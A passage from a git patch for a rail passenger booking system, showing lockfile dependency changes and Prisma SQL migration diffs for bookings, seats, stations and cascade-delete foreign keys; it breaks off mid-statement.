6.5.0(@nestjs/common@11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.24)(reflect-metadata@0.2.2) '@nestjs/typeorm': 11.0.1(@nestjs/common@11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.24)(reflect-metadata@0.2.2)(rxjs@7.8.2)(typeorm@0.3.30(babel-plugin-macros@3.1.0)(pg@8.21.0)(ts-node@10.9.2(@types/node@20.19.42)(typescript@5.9.3))) - '@tria-plc/iamapi-common': 0.6.6(578386f46cf99fd4720e3e99f196f69e) + '@tria-plc/iamapi-common': file:local-packages/tria-plc-iamapi-common-0.7.3.tgz(c97ba831ddde82920910406ab5262991) argon2: 0.43.1 axios: 1.17.0 change-case: 5.4.4 @@ -17043,7 +17102,7 @@ snapshots: - '@faker-js/faker' - supports-color - '@tria-plc/iamapi-common@0.6.6(c97ba831ddde82920910406ab5262991)': + '@tria-plc/iamapi-common@file:local-packages/tria-plc-iamapi-common-0.7.3.tgz(c97ba831ddde82920910406ab5262991)': dependencies: '@nestjs/axios': 4.0.1(@nestjs/common@11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(axios@1.17.0)(rxjs@7.8.2) '@nestjs/common': 11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2) @@ -17054,12 +17113,13 @@ snapshots: '@nestjs/swagger': 7.4.2(@nestjs/common@11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.24)(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2) '@nestjs/throttler': 6.5.0(@nestjs/common@11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.24)(reflect-metadata@0.2.2) '@nestjs/typeorm': 11.0.1(@nestjs/common@11.1.24(class-transformer@0.5.1)(class-validator@0.14.4)(reflect-metadata@0.2.2)(rxjs@7.8.2))(@nestjs/core@11.1.24)(reflect-metadata@0.2.2)(rxjs@7.8.2)(typeorm@0.3.30(babel-plugin-macros@3.1.0)(pg@8.21.0)(ts-node@10.9.2(@types/node@20.19.42)(typescript@5.9.3))) - '@tria-plc/api-common': 1.4.3(68465c76c63c8e4f8e0d7006fef2cc80) + '@tria-plc/api-common': file:local-packages/tria-plc-api-common-1.4.3.tgz(d81a2b6a79840fd7ce8c5d0cfc968145) api-common: 1.2.2 argon2: 0.43.1 axios: 1.17.0 class-transformer: 0.5.1 class-validator: 0.14.4 + dotenv: 17.4.2 ethiopian-date: 0.0.6 file-type: 21.3.4 jose: 5.10.0 @@ -22936,6 +22996,10 @@ snapshots: ms: 2.1.3 semver: 7.8.2 + jspdf-autotable@5.0.8(jspdf@4.2.1): + dependencies: + jspdf: 4.2.1 + jspdf@3.0.4: dependencies: '@babel/runtime': 7.29.7 @@ -22947,6 +23011,17 @@ snapshots: dompurify: 3.4.8 html2canvas: 1.4.1 + jspdf@4.2.1: + dependencies: + '@babel/runtime': 7.29.7 + fast-png: 6.4.0 + fflate: 0.8.3 + optionalDependencies: + canvg: 3.0.11 + core-js: 3.49.0 + dompurify: 3.4.8 + html2canvas: 1.4.1 + jsprim@1.4.2: dependencies: assert-plus: 1.0.0 From 2d51787383435b2143c787f928201f9b687840b0 Mon Sep 17 00:00:00 2001 From: Stephanos A Date: Tue, 23 Jun 2026 10:10:55 +0300 Subject: [PATCH 22/51] Backoffice updates, boarding pass, alternative schedule search and more --- .../20260605195213_init/migration.sql | 14 +- .../migration.sql | 3 +- .../migration.sql | 2 + .../migration.sql | 39 +- .../migration.sql | 172 +++--- .../migration.sql | 12 +- .../migration.sql | 6 +- .../migration.sql | 14 + apps/edr-passenger-api/prisma/schema.prisma | 9 +- .../src/modules/bookings/bookings.service.ts | 58 +- .../modules/bookings/guest-booking.service.ts | 23 +- .../modules/passengers/passengers.service.ts | 6 +- .../src/modules/payments/payments.service.ts | 146 +++-- .../src/modules/search/search.service.ts | 93 +++- .../src/modules/seats/seats.service.ts | 177 +++--- .../src/modules/stations/stations.dto.ts | 4 +- .../src/modules/stations/stations.service.ts | 5 +- .../src/modules/tickets/tickets.service.ts | 5 +- .../backoffice/src/app/bookings/page.tsx | 493 +++++++---------- .../backoffice/src/app/passengers/page.tsx | 522 ++++++++---------- .../backoffice/src/app/payments/page.tsx | 27 +- .../backoffice/src/app/reports/page.tsx | 6 +- .../backoffice/src/app/schedules/page.tsx | 4 +- .../backoffice/src/app/seats/page.tsx | 5 +- .../backoffice/src/app/stations/page.tsx | 26 +- .../backoffice/src/app/tickets/page.tsx | 304 +++++++--- .../backoffice/src/lib/utils.ts | 9 +- .../backoffice/src/types/edr.ts | 6 +- .../backoffice/src/types/index.ts | 2 +- .../portal/src/app/booking/review/page.tsx | 81 +-- .../portal/src/app/booking/seats/page.tsx | 22 +- .../portal/src/lib/booking-store.ts | 2 + .../providers/cac-bank/cac-bank.provider.ts | 2 +- .../src/providers/card/card.provider.ts | 2 +- .../providers/cbe-birr/cbe-birr.provider.ts | 2 +- .../src/providers/dmoney/dmoney.provider.ts | 2 +- .../src/providers/waafi/waafi.provider.ts | 2 +- 37 files changed, 1267 insertions(+), 1040 deletions(-) create mode 100644 apps/edr-passenger-api/prisma/migrations/20260618120000_ensure_booking_seat_leg_column/migration.sql create mode 100644 apps/edr-passenger-api/prisma/migrations/20260627_add_journey_booking_id/migration.sql diff --git a/apps/edr-passenger-api/prisma/migrations/20260605195213_init/migration.sql b/apps/edr-passenger-api/prisma/migrations/20260605195213_init/migration.sql index 0f8484179..4ae48ea16 100644 --- a/apps/edr-passenger-api/prisma/migrations/20260605195213_init/migration.sql +++ b/apps/edr-passenger-api/prisma/migrations/20260605195213_init/migration.sql @@ -20,7 +20,7 @@ CREATE TYPE "IdDocumentType" AS ENUM ('NATIONAL_ID', 'PASSPORT', 'DRIVING_LICENS CREATE TYPE "Currency" AS ENUM ('ETB', 'DJF', 'USD'); -- CreateEnum -CREATE TYPE "BookingStatus" AS ENUM ('DRAFT', 'PENDING_PAYMENT', 'CONFIRMED', 'CANCELLED', 'COMPLETED', 'NO_SHOW', 'REFUNDED'); +CREATE TYPE "BookingStatus" AS ENUM ('DRAFT', 'PENDING_PAYMENT', 'CONFIRMED', 'CANCELLED', 'BOARDED', 'NO_SHOW', 'REFUNDED'); -- CreateEnum CREATE TYPE "PaymentRegion" AS ENUM ('ETHIOPIA', 'DJIBOUTI', 'INTERNATIONAL', 'GLOBAL'); @@ -76,7 +76,9 @@ CREATE TABLE "SeatClass" ( "coachTypeId" TEXT NOT NULL, "name" TEXT NOT NULL, "description" TEXT, - "baseFareMinor" INTEGER NOT NULL, + "baseFareMinor" INTEGER NOT NULL DEFAULT 0, + "premiumMinor" INTEGER NOT NULL DEFAULT 0, + "insuranceFeeMinor" INTEGER NOT NULL DEFAULT 0, "isActive" BOOLEAN NOT NULL DEFAULT true, "createdAt" TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP, "updatedAt" TIMESTAMP(3) NOT NULL, @@ -94,6 +96,8 @@ CREATE TABLE "User" ( "role" "UserRole" NOT NULL DEFAULT 'PASSENGER', "nationality" TEXT, "nationalityCode" TEXT, + "gender" TEXT, + "dateOfBirth" TIMESTAMP(3), "passportNumber" TEXT, "nationalId" TEXT, "failedLoginAttempts" INTEGER NOT NULL DEFAULT 0, @@ -155,10 +159,11 @@ CREATE TABLE "Station" ( "name" TEXT NOT NULL, "city" TEXT NOT NULL, "countryCode" TEXT, + "sequence" INTEGER NOT NULL DEFAULT 0, "isOperational" BOOLEAN NOT NULL DEFAULT true, "timezone" TEXT NOT NULL DEFAULT 'Africa/Addis_Ababa', - "lat" DECIMAL(9,6) NOT NULL, - "lng" DECIMAL(9,6) NOT NULL, + "lat" DECIMAL(9,6), + "lng" DECIMAL(9,6), CONSTRAINT "Station_pkey" PRIMARY KEY ("id") ); @@ -234,6 +239,7 @@ CREATE TABLE "Coach" ( "number" TEXT NOT NULL, "arrangement" TEXT NOT NULL DEFAULT '2+2', "capacity" INTEGER NOT NULL DEFAULT 0, + "sequence" INTEGER NOT NULL DEFAULT 0, "status" TEXT NOT NULL DEFAULT 'ACTIVE', "createdAt" TIMESTAMP(3) NOT NULL DEFAULT CURRENT_TIMESTAMP, "updatedAt" TIMESTAMP(3) NOT NULL, diff --git a/apps/edr-passenger-api/prisma/migrations/20260617042447_add_return_schedule_id/migration.sql b/apps/edr-passenger-api/prisma/migrations/20260617042447_add_return_schedule_id/migration.sql index 7622faf86..577312395 100644 --- a/apps/edr-passenger-api/prisma/migrations/20260617042447_add_return_schedule_id/migration.sql +++ b/apps/edr-passenger-api/prisma/migrations/20260617042447_add_return_schedule_id/migration.sql @@ -140,8 +140,7 @@ ALTER TABLE "SeatClass" ALTER COLUMN "baseFareMinor" SET DEFAULT 0; -- AlterTable ALTER TABLE "Ticket" ALTER COLUMN "status" SET DEFAULT 'ACTIVE'; --- AlterTable -ALTER TABLE "User" ALTER COLUMN "gender" SET DATA TYPE TEXT; +-- gender column already TEXT from init migration -- CreateIndex CREATE INDEX "Booking_bookingType_idx" ON "Booking"("bookingType"); diff --git a/apps/edr-passenger-api/prisma/migrations/20260618120000_ensure_booking_seat_leg_column/migration.sql b/apps/edr-passenger-api/prisma/migrations/20260618120000_ensure_booking_seat_leg_column/migration.sql new file mode 100644 index 000000000..7e7d9bd58 --- /dev/null +++ b/apps/edr-passenger-api/prisma/migrations/20260618120000_ensure_booking_seat_leg_column/migration.sql @@ -0,0 +1,2 @@ +-- Empty placeholder migration +SELECT 1; diff --git a/apps/edr-passenger-api/prisma/migrations/20260620_complete_schema_sync/migration.sql b/apps/edr-passenger-api/prisma/migrations/20260620_complete_schema_sync/migration.sql index 6c8da0d2c..1673a795b 100644 --- a/apps/edr-passenger-api/prisma/migrations/20260620_complete_schema_sync/migration.sql +++ b/apps/edr-passenger-api/prisma/migrations/20260620_complete_schema_sync/migration.sql @@ -1,36 +1,9 @@ --- Add sequence column to Station table if it doesn't exist -ALTER TABLE "passenger"."Station" ADD COLUMN IF NOT EXISTS "sequence" INTEGER NOT NULL DEFAULT 0; +CREATE INDEX IF NOT EXISTS "Station_sequence_idx" ON "Station"("sequence"); --- Add index on sequence for Station -CREATE INDEX IF NOT EXISTS "Station_sequence_idx" ON "passenger"."Station"("sequence"); - --- Add sequence column to Coach table if it doesn't exist -ALTER TABLE "passenger"."Coach" ADD COLUMN IF NOT EXISTS "sequence" INTEGER NOT NULL DEFAULT 0; - --- Add index on sequence for Coach -CREATE INDEX IF NOT EXISTS "Coach_sequence_idx" ON "passenger"."Coach"("sequence"); - --- Add missing columns to SeatClass if they don't exist -ALTER TABLE "passenger"."SeatClass" ADD COLUMN IF NOT EXISTS "premiumMinor" INTEGER NOT NULL DEFAULT 0; -ALTER TABLE "passenger"."SeatClass" ADD COLUMN IF NOT EXISTS "insuranceFeeMinor" INTEGER NOT NULL DEFAULT 0; - --- Add missing columns to User if they don't exist -ALTER TABLE "passenger"."User" ADD COLUMN IF NOT EXISTS "gender" VARCHAR(255); -ALTER TABLE "passenger"."User" ADD COLUMN IF NOT EXISTS "dateOfBirth" TIMESTAMP(3); -ALTER TABLE "passenger"."User" ADD COLUMN IF NOT EXISTS "passportNumber" VARCHAR(255); -ALTER TABLE "passenger"."User" ADD COLUMN IF NOT EXISTS "nationalId" VARCHAR(255); - --- Ensure Ticket has all required columns -ALTER TABLE "passenger"."Ticket" ADD COLUMN IF NOT EXISTS "validatedAt" TIMESTAMP(3); -ALTER TABLE "passenger"."Ticket" ADD COLUMN IF NOT EXISTS "boardedAt" TIMESTAMP(3); - --- Add missing columns to Booking if they don't exist -ALTER TABLE "passenger"."Booking" ADD COLUMN IF NOT EXISTS "bookingType" VARCHAR(255) NOT NULL DEFAULT 'ONE_WAY'; -ALTER TABLE "passenger"."Booking" ADD COLUMN IF NOT EXISTS "displayCurrency" VARCHAR(255); -ALTER TABLE "passenger"."Booking" ADD COLUMN IF NOT EXISTS "displayTotalMinor" INTEGER; +CREATE INDEX IF NOT EXISTS "Coach_sequence_idx" ON "Coach"("sequence"); -- Ensure all indexes exist -CREATE INDEX IF NOT EXISTS "Station_city_countryCode_idx" ON "passenger"."Station"("city", "countryCode"); -CREATE INDEX IF NOT EXISTS "Coach_coachTypeId_idx" ON "passenger"."Coach"("coachTypeId"); -CREATE INDEX IF NOT EXISTS "TrainSchedule_departureAt_originStationId_idx" ON "passenger"."TrainSchedule"("departureAt", "originStationId"); -CREATE INDEX IF NOT EXISTS "Booking_passengerId_status_idx" ON "passenger"."Booking"("passengerId", "status"); +CREATE INDEX IF NOT EXISTS "Station_city_countryCode_idx" ON "Station"("city", "countryCode"); +CREATE INDEX IF NOT EXISTS "Coach_coachTypeId_idx" ON "Coach"("coachTypeId"); +CREATE INDEX IF NOT EXISTS "TrainSchedule_departureAt_originStationId_idx" ON "TrainSchedule"("departureAt", "originStationId"); +CREATE INDEX IF NOT EXISTS "Booking_passengerId_status_idx" ON "Booking"("passengerId", "status"); diff --git a/apps/edr-passenger-api/prisma/migrations/20260621_add_cascade_deletes/migration.sql b/apps/edr-passenger-api/prisma/migrations/20260621_add_cascade_deletes/migration.sql index d047e5a0c..9f70a96b1 100644 --- a/apps/edr-passenger-api/prisma/migrations/20260621_add_cascade_deletes/migration.sql +++ b/apps/edr-passenger-api/prisma/migrations/20260621_add_cascade_deletes/migration.sql @@ -1,164 +1,164 @@ -- Add CASCADE delete to all foreign key constraints that are missing it -- TrainSchedule relations -ALTER TABLE "passenger"."TrainSchedule" DROP CONSTRAINT IF EXISTS "TrainSchedule_trainId_fkey"; -ALTER TABLE "passenger"."TrainSchedule" ADD CONSTRAINT "TrainSchedule_trainId_fkey" FOREIGN KEY ("trainId") REFERENCES "passenger"."Train"("id") ON DELETE CASCADE; +ALTER TABLE "TrainSchedule" DROP CONSTRAINT IF EXISTS "TrainSchedule_trainId_fkey"; +ALTER TABLE "TrainSchedule" ADD CONSTRAINT "TrainSchedule_trainId_fkey" FOREIGN KEY ("trainId") REFERENCES "Train"("id") ON DELETE CASCADE; -ALTER TABLE "passenger"."TrainSchedule" DROP CONSTRAINT IF EXISTS "TrainSchedule_routeId_fkey"; -ALTER TABLE "passenger"."TrainSchedule" ADD CONSTRAINT "TrainSchedule_routeId_fkey" FOREIGN KEY ("routeId") REFERENCES "passenger"."Route"("id") ON DELETE CASCADE; +ALTER TABLE "TrainSchedule" DROP CONSTRAINT IF EXISTS "TrainSchedule_routeId_fkey"; +ALTER TABLE "TrainSchedule" ADD CONSTRAINT "TrainSchedule_routeId_fkey" FOREIGN KEY ("routeId") REFERENCES "Route"("id") ON DELETE CASCADE; -ALTER TABLE "passenger"."TrainSchedule" DROP CONSTRAINT IF EXISTS "TrainSchedule_originStationId_fkey"; -ALTER TABLE "passenger"."TrainSchedule" ADD CONSTRAINT "TrainSchedule_originStationId_fkey" FOREIGN KEY ("originStationId") REFERENCES "passenger"."Station"("id") ON DELETE CASCADE; +ALTER TABLE "TrainSchedule" DROP CONSTRAINT IF EXISTS "TrainSchedule_originStationId_fkey"; +ALTER TABLE "TrainSchedule" ADD CONSTRAINT "TrainSchedule_originStationId_fkey" FOREIGN KEY ("originStationId") REFERENCES "Station"("id") ON DELETE CASCADE; -ALTER TABLE "passenger"."TrainSchedule" DROP CONSTRAINT IF EXISTS "TrainSchedule_destinationStationId_fkey"; -ALTER TABLE "passenger"."TrainSchedule" ADD CONSTRAINT "TrainSchedule_destinationStationId_fkey" FOREIGN KEY ("destinationStationId") REFERENCES "passenger"."Station"("id") ON DELETE CASCADE; +ALTER TABLE "TrainSchedule" DROP CONSTRAINT IF EXISTS "TrainSchedule_destinationStationId_fkey"; +ALTER TABLE "TrainSchedule" ADD CONSTRAINT "TrainSchedule_destinationStationId_fkey" FOREIGN KEY ("destinationStationId") REFERENCES "Station"("id") ON DELETE CASCADE; -- Coach relation -ALTER TABLE "passenger"."Coach" DROP CONSTRAINT IF EXISTS "Coach_coachTypeId_fkey"; -ALTER TABLE "passenger"."Coach" ADD CONSTRAINT "Coach_coachTypeId_fkey" FOREIGN KEY ("coachTypeId") REFERENCES "passenger"."CoachType"("id") ON DELETE CASCADE; +ALTER TABLE "Coach" DROP CONSTRAINT IF EXISTS "Coach_coachTypeId_fkey"; +ALTER TABLE "Coach" ADD CONSTRAINT "Coach_coachTypeId_fkey" FOREIGN KEY ("coachTypeId") REFERENCES "CoachType"("id") ON DELETE CASCADE; -- CoachAssignment relations -ALTER TABLE "passenger"."CoachAssignment" DROP CONSTRAINT IF EXISTS "CoachAssignment_scheduleId_fkey"; -ALTER TABLE "passenger"."CoachAssignment" ADD CONSTRAINT "CoachAssignment_scheduleId_fkey" FOREIGN KEY ("scheduleId") REFERENCES "passenger"."TrainSchedule"("id") ON DELETE CASCADE; +ALTER TABLE "CoachAssignment" DROP CONSTRAINT IF EXISTS "CoachAssignment_scheduleId_fkey"; +ALTER TABLE "CoachAssignment" ADD CONSTRAINT "CoachAssignment_scheduleId_fkey" FOREIGN KEY ("scheduleId") REFERENCES "TrainSchedule"("id") ON DELETE CASCADE; -ALTER TABLE "passenger"."CoachAssignment" DROP CONSTRAINT IF EXISTS "CoachAssignment_coachId_fkey"; -ALTER TABLE "passenger"."CoachAssignment" ADD CONSTRAINT "CoachAssignment_coachId_fkey" FOREIGN KEY ("coachId") REFERENCES "passenger"."Coach"("id") ON DELETE CASCADE; +ALTER TABLE "CoachAssignment" DROP CONSTRAINT IF EXISTS "CoachAssignment_coachId_fkey"; +ALTER TABLE "CoachAssignment" ADD CONSTRAINT "CoachAssignment_coachId_fkey" FOREIGN KEY ("coachId") REFERENCES "Coach"("id") ON DELETE CASCADE; -- Booking relations -ALTER TABLE "passenger"."Booking" DROP CONSTRAINT IF EXISTS "Booking_passengerId_fkey"; -ALTER TABLE "passenger"."Booking" ADD CONSTRAINT "Booking_passengerId_fkey" FOREIGN KEY ("passengerId") REFERENCES "passenger"."Passenger"("id") ON DELETE CASCADE; +ALTER TABLE "Booking" DROP CONSTRAINT IF EXISTS "Booking_passengerId_fkey"; +ALTER TABLE "Booking" ADD CONSTRAINT "Booking_passengerId_fkey" FOREIGN KEY ("passengerId") REFERENCES "Passenger"("id") ON DELETE CASCADE; -ALTER TABLE "passenger"."Booking" DROP CONSTRAINT IF EXISTS "Booking_scheduleId_fkey"; -ALTER TABLE "passenger"."Booking" ADD CONSTRAINT "Booking_scheduleId_fkey" FOREIGN KEY ("scheduleId") REFERENCES "passenger"."TrainSchedule"("id") ON DELETE CASCADE; +ALTER TABLE "Booking" DROP CONSTRAINT IF EXISTS "Booking_scheduleId_fkey"; +ALTER TABLE "Booking" ADD CONSTRAINT "Booking_scheduleId_fkey" FOREIGN KEY ("scheduleId") REFERENCES "TrainSchedule"("id") ON DELETE CASCADE; -- BookingSeat relations -ALTER TABLE "passenger"."BookingSeat" DROP CONSTRAINT IF EXISTS "BookingSeat_bookingId_fkey"; -ALTER TABLE "passenger"."BookingSeat" ADD CONSTRAINT "BookingSeat_bookingId_fkey" FOREIGN KEY ("bookingId") REFERENCES "passenger"."Booking"("id") ON DELETE CASCADE; +ALTER TABLE "BookingSeat" DROP CONSTRAINT IF EXISTS "BookingSeat_bookingId_fkey"; +ALTER TABLE "BookingSeat" ADD CONSTRAINT "BookingSeat_bookingId_fkey" FOREIGN KEY ("bookingId") REFERENCES "Booking"("id") ON DELETE CASCADE; -ALTER TABLE "passenger"."BookingSeat" DROP CONSTRAINT IF EXISTS "BookingSeat_seatId_fkey"; -ALTER TABLE "passenger"."BookingSeat" ADD CONSTRAINT "BookingSeat_seatId_fkey" FOREIGN KEY ("seatId") REFERENCES "passenger"."Seat"("id") ON DELETE CASCADE; +ALTER TABLE "BookingSeat" DROP CONSTRAINT IF EXISTS "BookingSeat_seatId_fkey"; +ALTER TABLE "BookingSeat" ADD CONSTRAINT "BookingSeat_seatId_fkey" FOREIGN KEY ("seatId") REFERENCES "Seat"("id") ON DELETE CASCADE; -- PaymentIntent -ALTER TABLE "passenger"."PaymentIntent" DROP CONSTRAINT IF EXISTS "PaymentIntent_bookingId_fkey"; -ALTER TABLE "passenger"."PaymentIntent" ADD CONSTRAINT "PaymentIntent_bookingId_fkey" FOREIGN KEY ("bookingId") REFERENCES "passenger"."Booking"("id") ON DELETE CASCADE; +ALTER TABLE "PaymentIntent" DROP CONSTRAINT IF EXISTS "PaymentIntent_bookingId_fkey"; +ALTER TABLE "PaymentIntent" ADD CONSTRAINT "PaymentIntent_bookingId_fkey" FOREIGN KEY ("bookingId") REFERENCES "Booking"("id") ON DELETE CASCADE; -- PaymentRefund -ALTER TABLE "passenger"."PaymentRefund" DROP CONSTRAINT IF EXISTS "PaymentRefund_paymentIntentId_fkey"; -ALTER TABLE "passenger"."PaymentRefund" ADD CONSTRAINT "PaymentRefund_paymentIntentId_fkey" FOREIGN KEY ("paymentIntentId") REFERENCES "passenger"."PaymentIntent"("id") ON DELETE CASCADE; +ALTER TABLE "PaymentRefund" DROP CONSTRAINT IF EXISTS "PaymentRefund_paymentIntentId_fkey"; +ALTER TABLE "PaymentRefund" ADD CONSTRAINT "PaymentRefund_paymentIntentId_fkey" FOREIGN KEY ("paymentIntentId") REFERENCES "PaymentIntent"("id") ON DELETE CASCADE; -- Ticket -ALTER TABLE "passenger"."Ticket" DROP CONSTRAINT IF EXISTS "Ticket_bookingId_fkey"; -ALTER TABLE "passenger"."Ticket" ADD CONSTRAINT "Ticket_bookingId_fkey" FOREIGN KEY ("bookingId") REFERENCES "passenger"."Booking"("id") ON DELETE CASCADE; +ALTER TABLE "Ticket" DROP CONSTRAINT IF EXISTS "Ticket_bookingId_fkey"; +ALTER TABLE "Ticket" ADD CONSTRAINT "Ticket_bookingId_fkey" FOREIGN KEY ("bookingId") REFERENCES "Booking"("id") ON DELETE CASCADE; -- TicketSeat -ALTER TABLE "passenger"."TicketSeat" DROP CONSTRAINT IF EXISTS "TicketSeat_seatId_fkey"; -ALTER TABLE "passenger"."TicketSeat" ADD CONSTRAINT "TicketSeat_seatId_fkey" FOREIGN KEY ("seatId") REFERENCES "passenger"."Seat"("id") ON DELETE CASCADE; +ALTER TABLE "TicketSeat" DROP CONSTRAINT IF EXISTS "TicketSeat_seatId_fkey"; +ALTER TABLE "TicketSeat" ADD CONSTRAINT "TicketSeat_seatId_fkey" FOREIGN KEY ("seatId") REFERENCES "Seat"("id") ON DELETE CASCADE; -- WalletLedgerEntry -ALTER TABLE "passenger"."WalletLedgerEntry" DROP CONSTRAINT IF EXISTS "WalletLedgerEntry_walletId_fkey"; -ALTER TABLE "passenger"."WalletLedgerEntry" ADD CONSTRAINT "WalletLedgerEntry_walletId_fkey" FOREIGN KEY ("walletId") REFERENCES "passenger"."WalletAccount"("id") ON DELETE CASCADE; +ALTER TABLE "WalletLedgerEntry" DROP CONSTRAINT IF EXISTS "WalletLedgerEntry_walletId_fkey"; +ALTER TABLE "WalletLedgerEntry" ADD CONSTRAINT "WalletLedgerEntry_walletId_fkey" FOREIGN KEY ("walletId") REFERENCES "WalletAccount"("id") ON DELETE CASCADE; -- Notification -ALTER TABLE "passenger"."Notification" DROP CONSTRAINT IF EXISTS "Notification_passengerId_fkey"; -ALTER TABLE "passenger"."Notification" ADD CONSTRAINT "Notification_passengerId_fkey" FOREIGN KEY ("passengerId") REFERENCES "passenger"."Passenger"("id") ON DELETE CASCADE; +ALTER TABLE "Notification" DROP CONSTRAINT IF EXISTS "Notification_passengerId_fkey"; +ALTER TABLE "Notification" ADD CONSTRAINT "Notification_passengerId_fkey" FOREIGN KEY ("passengerId") REFERENCES "Passenger"("id") ON DELETE CASCADE; -- MenuItem -ALTER TABLE "passenger"."MenuItem" DROP CONSTRAINT IF EXISTS "MenuItem_scheduleId_fkey"; -ALTER TABLE "passenger"."MenuItem" ADD CONSTRAINT "MenuItem_scheduleId_fkey" FOREIGN KEY ("scheduleId") REFERENCES "passenger"."TrainSchedule"("id") ON DELETE CASCADE; +ALTER TABLE "MenuItem" DROP CONSTRAINT IF EXISTS "MenuItem_scheduleId_fkey"; +ALTER TABLE "MenuItem" ADD CONSTRAINT "MenuItem_scheduleId_fkey" FOREIGN KEY ("scheduleId") REFERENCES "TrainSchedule"("id") ON DELETE CASCADE; -ALTER TABLE "passenger"."MenuItem" DROP CONSTRAINT IF EXISTS "MenuItem_categoryId_fkey"; -ALTER TABLE "passenger"."MenuItem" ADD CONSTRAINT "MenuItem_categoryId_fkey" FOREIGN KEY ("categoryId") REFERENCES "passenger"."MenuCategory"("id") ON DELETE CASCADE; +ALTER TABLE "MenuItem" DROP CONSTRAINT IF EXISTS "MenuItem_categoryId_fkey"; +ALTER TABLE "MenuItem" ADD CONSTRAINT "MenuItem_categoryId_fkey" FOREIGN KEY ("categoryId") REFERENCES "MenuCategory"("id") ON DELETE CASCADE; -- FoodOrder -ALTER TABLE "passenger"."FoodOrder" DROP CONSTRAINT IF EXISTS "FoodOrder_bookingId_fkey"; -ALTER TABLE "passenger"."FoodOrder" ADD CONSTRAINT "FoodOrder_bookingId_fkey" FOREIGN KEY ("bookingId") REFERENCES "passenger"."Booking"("id") ON DELETE CASCADE; +ALTER TABLE "FoodOrder" DROP CONSTRAINT IF EXISTS "FoodOrder_bookingId_fkey"; +ALTER TABLE "FoodOrder" ADD CONSTRAINT "FoodOrder_bookingId_fkey" FOREIGN KEY ("bookingId") REFERENCES "Booking"("id") ON DELETE CASCADE; -- FoodOrderItem -ALTER TABLE "passenger"."FoodOrderItem" DROP CONSTRAINT IF EXISTS "FoodOrderItem_orderId_fkey"; -ALTER TABLE "passenger"."FoodOrderItem" ADD CONSTRAINT "FoodOrderItem_orderId_fkey" FOREIGN KEY ("orderId") REFERENCES "passenger"."FoodOrder"("id") ON DELETE CASCADE; +ALTER TABLE "FoodOrderItem" DROP CONSTRAINT IF EXISTS "FoodOrderItem_orderId_fkey"; +ALTER TABLE "FoodOrderItem" ADD CONSTRAINT "FoodOrderItem_orderId_fkey" FOREIGN KEY ("orderId") REFERENCES "FoodOrder"("id") ON DELETE CASCADE; -- FaqArticle -ALTER TABLE "passenger"."FaqArticle" DROP CONSTRAINT IF EXISTS "FaqArticle_categoryId_fkey"; -ALTER TABLE "passenger"."FaqArticle" ADD CONSTRAINT "FaqArticle_categoryId_fkey" FOREIGN KEY ("categoryId") REFERENCES "passenger"."FaqCategory"("id") ON DELETE CASCADE; +ALTER TABLE "FaqArticle" DROP CONSTRAINT IF EXISTS "FaqArticle_categoryId_fkey"; +ALTER TABLE "FaqArticle" ADD CONSTRAINT "FaqArticle_categoryId_fkey" FOREIGN KEY ("categoryId") REFERENCES "FaqCategory"("id") ON DELETE CASCADE; -- SupportMessage -ALTER TABLE "passenger"."SupportMessage" DROP CONSTRAINT IF EXISTS "SupportMessage_conversationId_fkey"; -ALTER TABLE "passenger"."SupportMessage" ADD CONSTRAINT "SupportMessage_conversationId_fkey" FOREIGN KEY ("conversationId") REFERENCES "passenger"."SupportConversation"("id") ON DELETE CASCADE; +ALTER TABLE "SupportMessage" DROP CONSTRAINT IF EXISTS "SupportMessage_conversationId_fkey"; +ALTER TABLE "SupportMessage" ADD CONSTRAINT "SupportMessage_conversationId_fkey" FOREIGN KEY ("conversationId") REFERENCES "SupportConversation"("id") ON DELETE CASCADE; -- TripStopTime -ALTER TABLE "passenger"."TripStopTime" DROP CONSTRAINT IF EXISTS "TripStopTime_scheduleId_fkey"; -ALTER TABLE "passenger"."TripStopTime" ADD CONSTRAINT "TripStopTime_scheduleId_fkey" FOREIGN KEY ("scheduleId") REFERENCES "passenger"."TrainSchedule"("id") ON DELETE CASCADE; +ALTER TABLE "TripStopTime" DROP CONSTRAINT IF EXISTS "TripStopTime_scheduleId_fkey"; +ALTER TABLE "TripStopTime" ADD CONSTRAINT "TripStopTime_scheduleId_fkey" FOREIGN KEY ("scheduleId") REFERENCES "TrainSchedule"("id") ON DELETE CASCADE; -- TripLiveStatus -ALTER TABLE "passenger"."TripLiveStatus" DROP CONSTRAINT IF EXISTS "TripLiveStatus_scheduleId_fkey"; -ALTER TABLE "passenger"."TripLiveStatus" ADD CONSTRAINT "TripLiveStatus_scheduleId_fkey" FOREIGN KEY ("scheduleId") REFERENCES "passenger"."TrainSchedule"("id") ON DELETE CASCADE; +ALTER TABLE "TripLiveStatus" DROP CONSTRAINT IF EXISTS "TripLiveStatus_scheduleId_fkey"; +ALTER TABLE "TripLiveStatus" ADD CONSTRAINT "TripLiveStatus_scheduleId_fkey" FOREIGN KEY ("scheduleId") REFERENCES "TrainSchedule"("id") ON DELETE CASCADE; -- JourneySegment -ALTER TABLE "passenger"."JourneySegment" DROP CONSTRAINT IF EXISTS "JourneySegment_journeyId_fkey"; -ALTER TABLE "passenger"."JourneySegment" ADD CONSTRAINT "JourneySegment_journeyId_fkey" FOREIGN KEY ("journeyId") REFERENCES "passenger"."Journey"("id") ON DELETE CASCADE; +ALTER TABLE "JourneySegment" DROP CONSTRAINT IF EXISTS "JourneySegment_journeyId_fkey"; +ALTER TABLE "JourneySegment" ADD CONSTRAINT "JourneySegment_journeyId_fkey" FOREIGN KEY ("journeyId") REFERENCES "Journey"("id") ON DELETE CASCADE; -ALTER TABLE "passenger"."JourneySegment" DROP CONSTRAINT IF EXISTS "JourneySegment_scheduleId_fkey"; -ALTER TABLE "passenger"."JourneySegment" ADD CONSTRAINT 